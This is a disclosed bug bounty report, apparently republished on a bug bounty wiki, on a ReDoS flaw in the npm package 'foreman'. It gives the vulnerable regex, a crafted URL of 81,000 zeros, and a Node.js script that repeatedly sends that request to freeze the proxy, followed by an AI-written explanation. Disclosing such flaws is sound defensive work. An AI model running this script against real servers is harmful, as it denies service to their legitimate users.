`foreman` is vulnerable to ReDoS in path
A regular expression in the foreman proxy module used to parse request paths can be made to run for a very long time by a crafted URL, blocking the process. An attacker could send such requests repeatedly to cause a denial of service.
- Triaged in 36 days
- Fixed in 60 days
- Disclosed after 60 days
I would like to report ReDoS in foreman.
It allows to cause denial of service by suppling a crafted path.
Module
module name: foreman
version: 2.0.0
npm page: https://www.npmjs.com/package/foreman
Module Description
Node Foreman is a Node.js version of the popular Foreman tool, with a few Node specific changes.
Module Stats
5 296 downloads in the last day 30 879 downloads in the last week 141 342 downloads in the last month
~1 696 104 estimated downloads per year
Vulnerability
Vulnerability Description
ReDoS.
Regex: /http:\/\/[^/]*:?[0-9]*(\/.*)$/
Evil string: http://${Array(81000).join('0')} (unwrap js template)
Line: https://github.com/strongloop/node-foreman/blob/v2.0.0/forward.js#L30
Blocks for ~5 seconds per request.
Steps To Reproduce:
nf start -f 9999
const net = require('net');
const tick = function() {
const client = net.createConnection({ port: 9999 }, () => {
client.write(`GET http://${Array(81000).join('0')} HTTP/1.1
Host: localhost:9999
"`);
});
}
setInterval(tick, 1000)
Supporting Material/References:
- OS: Arch Linux current
- Node.js 9.5.0
- npm 5.6.0
Wrap up
- I contacted the maintainer to let him know: N
- I opened an issue in the related repository: N
Impact
Denial of Service by passing crafted paths.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely a regular expression with nested repetition that backtracks heavily on long non-matching input.
Impact
Each crafted request blocks the process for roughly five seconds, so repeated requests could deny service to legitimate users.
What the attacker needed
Network access to the proxy port
How it was found
- Start the foreman proxy on a chosen port.
- Open a TCP connection to that port.
- Send an HTTP request whose path is a very long run of zeros.
- Repeat the request to keep the process blocked.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A regular expression is a pattern used to match text. Some patterns take a very long time on certain inputs, so a single request can freeze the program while it matches. Here a long string of zeros in the URL path made the server busy for about five seconds each time.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.